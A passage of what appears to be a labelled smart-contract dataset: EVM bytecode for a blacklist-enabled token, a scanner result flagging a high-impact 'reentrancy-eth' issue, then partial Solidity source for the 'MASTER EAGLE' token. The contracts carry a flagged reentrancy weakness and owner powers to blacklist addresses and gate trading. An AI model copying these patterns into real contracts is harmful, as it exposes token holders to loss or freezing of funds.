e565b005b3480156103fd57600080fd5b50610406610cd0565b005b34801561041457600080fd5b5061042f600480360381019061042a91906129a3565b610d42565b60405161043c919061314f565b60405180910390f35b34801561045157600080fd5b5061045a610d93565b005b34801561046857600080fd5b50610483600480360381019061047e9190612b86565b610ee6565b005b34801561049157600080fd5b5061049a610f85565b6040516104a7919061314f565b60405180910390f35b3480156104bc57600080fd5b506104c5610f8b565b6040516104d29190612f1c565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612b59565b610fb4565b005b34801561051057600080fd5b50610519611066565b604051610526919061314f565b60405180910390f35b34801561053b57600080fd5b5061054461106c565b6040516105519190612f6d565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612b86565b6110a9565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612bb3565b611148565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612ad0565b6111ff565b6040516105e09190612f37565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b91906129a3565b61121d565b60405161061d9190612f37565b60405180910390f35b34801561063257600080fd5b5061064d600480360381019061064891906129a3565b61123d565b60405161065a9190612f37565b60405180910390f35b34801561066f57600080fd5b5061067861125d565b005b34801561068657600080fd5b506106a1600480360381019061069c91906129fd565b6112d7565b6040516106ae919061314f565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612b86565b61135e565b005b6106e86113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c906130af565b60405180910390fd5b60005b81518110156108065760016010600084848151811061079a57610799613542565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107fe9061349b565b915050610778565b5050565b60606040518060400160405280600e81526020017f536861726b54616c65536d697468000000000000000000000000000000000000815250905090565b600061085b6108546113fd565b8484611405565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108aa8484846115d0565b61096b846108b66113fd565b610966856040518060600160405280602881526020016139c560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061091c6113fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc09092919063ffffffff16565b611405565b600190509392505050565b61097e6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a02906130af565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a959061306f565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b366113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bba906130af565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c266113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa906130af565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d116113fd565b73ffffffffffffffffffffffffffffffffffffffff1614610d3157600080fd5b6000479050610d3f81611e24565b50565b6000610d8c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e90565b9050919050565b610d9b6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f906130af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eee6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f72906130af565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fbc6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611049576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611040906130af565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f5354530000000000000000000000000000000000000000000000000000000000815250905090565b6110b16113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611135906130af565b60405180910390fd5b8060188190555050565b6111506113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d4906130af565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061121361120c6113fd565b84846115d0565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661129e6113fd565b73ffffffffffffffffffffffffffffffffffffffff16146112be57600080fd5b60006112c930610d42565b90506112d481611efe565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113666113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea906130af565b60405180910390fd5b8060178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c9061312f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc9061300f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c3919061314f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611640576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611637906130ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a790612f8f565b60405180910390fd5b600081116116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea906130cf565b60405180910390fd5b6116fb610f8b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117695750611739610f8b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611abf57601560149054906101000a900460ff1661180f57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661180e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180590612faf565b60405180910390fd5b5b601654811115611854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184b90612fef565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f85750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061302f565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146119e4576017548161199984610d42565b6119a39190613285565b106119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da9061310f565b60405180910390fd5b5b60006119ef30610d42565b9050600060185482101590506016548210611a0a5760165491505b808015611a22575060158054906101000a900460ff16155b8015611a7c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611a945750601560169054906101000a900460ff165b15611abc57611aa282611efe565b60004790506000811115611aba57611ab947611e24565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b665750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c195750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c185750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611c275760009050611dae565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cd25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cea57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d955750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611dad57600a54600c81905550600b54600d819055505b5b611dba84848484612184565b50505050565b6000838311158290611e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dff9190612f6d565b60405180910390fd5b5060008385611e179190613366565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e8c573d6000803e3d6000fd5b5050565b6000600654821115611ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ece90612fcf565b60405180910390fd5b6000611ee16121b1565b9050611ef681846121dc90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f3557611f34613571565b5b604051908082528060200260200182016040528015611f635781602001602082028036833780820191505090505b5090503081600081518110611f7b57611f7a613542565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561201d57600080fd5b505afa158015612031573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061205591906129d0565b8160018151811061206957612068613542565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120d030601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611405565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161213495949392919061316a565b600060405180830381600087803b15801561214e57600080fd5b505af1158015612162573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061219257612191612226565b5b61219d848484612269565b806121ab576121aa612434565b5b50505050565b60008060006121be612448565b915091506121d581836121dc90919063ffffffff16565b9250505090565b600061221e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124ad565b905092915050565b6000600c5414801561223a57506000600d54145b1561224457612267565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061227b87612510565b9550955095509550955095506122d986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ba81612620565b6123c484836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612421919061314f565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600069152d02c7e14af6800000905061248069152d02c7e14af68000006006546121dc90919063ffffffff16565b8210156124a05760065469152d02c7e14af68000009350935050506124a9565b81819350935050505b9091565b600080831182906124f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124eb9190612f6d565b60405180910390fd5b506000838561250391906132db565b9050809150509392505050565b600080600080600080600080600061252d8a600c54600d54612717565b925092509250600061253d6121b1565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dc0565b905092915050565b60008082846125d19190613285565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d9061304f565b60405180910390fd5b8091505092915050565b600061262a6121b1565b90506000612641828461283690919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61283690919063ffffffff16565b6121dc90919063ffffffff16565b9050600061276d606461275f888b61283690919063ffffffff16565b6121dc90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961283690919063ffffffff16565b905060006127dd868961283690919063ffffffff16565b905060006127f4878961283690919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561284957600090506128ab565b60008284612857919061330c565b905082848261286691906132db565b146128a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289d9061308f565b60405180910390fd5b809150505b92915050565b60006128c46128bf84613204565b6131df565b905080838252602082019050828560208602820111156128e7576128e66135a5565b5b60005b8581101561291757816128fd8882612921565b8452602084019350602083019250506001810190506128ea565b5050509392505050565b6000813590506129308161397f565b92915050565b6000815190506129458161397f565b92915050565b600082601f8301126129605761295f6135a0565b5b81356129708482602086016128b1565b91505092915050565b60008135905061298881613996565b92915050565b60008135905061299d816139ad565b92915050565b6000602082840312156129b9576129b86135af565b5b60006129c784828501612921565b91505092915050565b6000602082840312156129e6576129e56135af565b5b60006129f484828501612936565b91505092915050565b60008060408385031215612a1457612a136135af565b5b6000612a2285828601612921565b9250506020612a3385828601612921565b9150509250929050565b600080600060608486031215612a5657612a556135af565b5b6000612a6486828701612921565b9350506020612a7586828701612921565b9250506040612a868682870161298e565b9150509250925092565b60008060408385031215612aa757612aa66135af565b5b6000612ab585828601612921565b9250506020612ac685828601612979565b9150509250929050565b60008060408385031215612ae757612ae66135af565b5b6000612af585828601612921565b9250506020612b068582860161298e565b9150509250929050565b600060208284031215612b2657612b256135af565b5b600082013567ffffffffffffffff811115612b4457612b436135aa565b5b612b508482850161294b565b91505092915050565b600060208284031215612b6f57612b6e6135af565b5b6000612b7d84828501612979565b91505092915050565b600060208284031215612b9c57612b9b6135af565b5b6000612baa8482850161298e565b91505092915050565b60008060008060808587031215612bcd57612bcc6135af565b5b6000612bdb8782880161298e565b9450506020612bec8782880161298e565b9350506040612bfd8782880161298e565b9250506060612c0e8782880161298e565b91505092959194509250565b6000612c268383612c32565b60208301905092915050565b612c3b8161339a565b82525050565b612c4a8161339a565b82525050565b6000612c5b82613240565b612c658185613263565b9350612c7083613230565b8060005b83811015612ca1578151612c888882612c1a565b9750612c9383613256565b925050600181019050612c74565b5085935050505092915050565b612cb7816133ac565b82525050565b612cc6816133ef565b82525050565b612cd581613401565b82525050565b6000612ce68261324b565b612cf08185613274565b9350612d00818560208601613437565b612d09816135b4565b840191505092915050565b6000612d21602383613274565b9150612d2c826135c5565b604082019050919050565b6000612d44603f83613274565b9150612d4f82613614565b604082019050919050565b6000612d67602a83613274565b9150612d7282613663565b604082019050919050565b6000612d8a601c83613274565b9150612d95826136b2565b602082019050919050565b6000612dad602283613274565b9150612db8826136db565b604082019050919050565b6000612dd0602383613274565b9150612ddb8261372a565b604082019050919050565b6000612df3601b83613274565b9150612dfe82613779565b602082019050919050565b6000612e16601783613274565b9150612e21826137a2565b602082019050919050565b6000612e39602183613274565b9150612e44826137cb565b604082019050919050565b6000612e5c602083613274565b9150612e678261381a565b602082019050919050565b6000612e7f602983613274565b9150612e8a82613843565b604082019050919050565b6000612ea2602583613274565b9150612ead82613892565b604082019050919050565b6000612ec5602383613274565b9150612ed0826138e1565b604082019050919050565b6000612ee8602483613274565b9150612ef382613930565b604082019050919050565b612f07816133d8565b82525050565b612f16816133e2565b82525050565b6000602082019050612f316000830184612c41565b92915050565b6000602082019050612f4c6000830184612cae565b92915050565b6000602082019050612f676000830184612cbd565b92915050565b60006020820190508181036000830152612f878184612cdb565b905092915050565b60006020820190508181036000830152612fa881612d14565b9050919050565b60006020820190508181036000830152612fc881612d37565b9050919050565b60006020820190508181036000830152612fe881612d5a565b9050919050565b6000602082019050818103600083015261300881612d7d565b9050919050565b6000602082019050818103600083015261302881612da0565b9050919050565b6000602082019050818103600083015261304881612dc3565b9050919050565b6000602082019050818103600083015261306881612de6565b9050919050565b6000602082019050818103600083015261308881612e09565b9050919050565b600060208201905081810360008301526130a881612e2c565b9050919050565b600060208201905081810360008301526130c881612e4f565b9050919050565b600060208201905081810360008301526130e881612e72565b9050919050565b6000602082019050818103600083015261310881612e95565b9050919050565b6000602082019050818103600083015261312881612eb8565b9050919050565b6000602082019050818103600083015261314881612edb565b9050919050565b60006020820190506131646000830184612efe565b92915050565b600060a08201905061317f6000830188612efe565b61318c6020830187612ccc565b818103604083015261319e8186612c50565b90506131ad6060830185612c41565b6131ba6080830184612efe565b9695505050505050565b60006020820190506131d96000830184612f0d565b92915050565b60006131e96131fa565b90506131f5828261346a565b919050565b6000604051905090565b600067ffffffffffffffff82111561321f5761321e613571565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613290826133d8565b915061329b836133d8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132d0576132cf6134e4565b5b828201905092915050565b60006132e6826133d8565b91506132f1836133d8565b92508261330157613300613513565b5b828204905092915050565b6000613317826133d8565b9150613322836133d8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561335b5761335a6134e4565b5b828202905092915050565b6000613371826133d8565b915061337c836133d8565b92508282101561338f5761338e6134e4565b5b828203905092915050565b60006133a5826133b8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133fa82613413565b9050919050565b600061340c826133d8565b9050919050565b600061341e82613425565b9050919050565b6000613430826133b8565b9050919050565b60005b8381101561345557808201518184015260208101905061343a565b83811115613464576000848401525b50505050565b613473826135b4565b810181811067ffffffffffffffff8211171561349257613491613571565b5b80604052505050565b60006134a6826133d8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134d9576134d86134e4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6139888161339a565b811461399357600080fd5b50565b61399f816133ac565b81146139aa57600080fd5b50565b6139b6816133d8565b81146139c157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8a9640b83b13dd6f4e923bde3e74b3ee7267fb3543ee52f18954e9986ff02d464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,752
0xa97b7f6af8aad2a6c6199afcce51c3689e90b8eb
/* $MASTEREAGLE is a stealth/fair launch with fair tokenomics so everyone has a chance to get a Eagle bag. - Telegram: https://t.me/mastereagleeth - Website: http://mastereagleeth.com/ */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MASTEREAGLEETH is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "MASTER EAGLE"; string private constant _symbol = "MASTEREAGLE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[addr4] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[addr5] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner 